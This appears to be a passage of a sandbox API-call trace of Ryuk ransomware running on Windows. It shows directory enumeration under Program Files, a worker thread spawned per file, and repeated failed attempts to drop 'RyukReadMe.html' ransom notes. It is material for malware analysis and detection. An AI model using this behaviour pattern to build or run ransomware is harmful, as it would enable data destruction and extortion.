	[0231.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf38
	[0231.880] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.881] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0231.881] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf3c
	[0232.045] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.046] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x76, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1
	[0232.046] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf40
	[0232.048] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.049] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x76, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1
	[0232.049] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf44
	[0232.050] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.051] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x76, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1
	[0232.051] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf48
	[0232.053] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.054] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x76, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0
	[0232.054] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0232.054] SetLastError (dwErrCode=0x0) 
	[0232.054] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.055] GetLastError () returned 0x5
	[0232.055] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0232.055] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.055] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x62, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1
	[0232.055] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdbc
	[0232.057] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.057] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x62, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0
	[0232.057] FindClose (in: hFindFile=0x7c7b0 | out: hFindFile=0x7c7b0) returned 1
	[0232.058] SetLastError (dwErrCode=0x0) 
	[0232.058] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.058] GetLastError () returned 0x5
	[0232.058] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0232.059] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.059] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x54, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1
	[0232.059] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c4
	[0232.061] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.062] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x54, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1
	[0232.062] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf4c
	[0232.064] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.065] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x54, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0
	[0232.065] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0232.065] SetLastError (dwErrCode=0x0) 
	[0232.065] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.065] GetLastError () returned 0x5
	[0232.065] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0232.065] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.066] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x40, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1
	[0232.066] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960
	[0232.068] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.069] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x40, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1
	[0232.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf50
	[0232.071] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.071] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0438ce0, ftCreationTime.dwHighDateTime=0x1d57504, ftLastAccessTime.dwLowDateTime=0xf1167fa0, ftLastAccessTime.dwHighDateTime=0x1d5464c, ftLastWriteTime.dwLowDateTime=0xf1167fa0, ftLastWriteTime.dwHighDateTime=0x1d5464c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 1
	[0232.071] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x40, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1
	[0232.071] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x40, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0
	[0232.072] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0232.072] SetLastError (dwErrCode=0x0) 
	[0232.072] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.072] GetLastError () returned 0x5
	[0232.072] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0232.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.072] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3281f90, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3281f90, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0232.072] SetLastError (dwErrCode=0x0) 
	[0232.072] CreateFileW (lpFileName="C:\\Program Files\\RyukReadMe.html" (normalized: "c:\\program files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.073] GetLastError () returned 0x5
	[0232.073] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0232.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.073] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3281f90, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3281f90, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0232.073] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3281f90, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3281f90, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0232.073] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0232.073] SetLastError (dwErrCode=0x0) 
	[0232.073] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\program files\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.074] GetLastError () returned 0x5
	[0232.074] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0232.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.074] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x64, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0232.074] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x64, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0232.074] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x64, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1
	[0232.074] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x64, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1
	[0232.074] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x64, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1
	[0232.074] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x64, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1
	[0232.075] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x64, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1
	[0232.075] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x64, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1
	[0232.075] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x64, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1
	[0232.075] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x64, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1
	[0232.075] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x64, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1
	[0232.075] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x64, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0
	[0232.075] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0232.075] SetLastError (dwErrCode=0x0) 
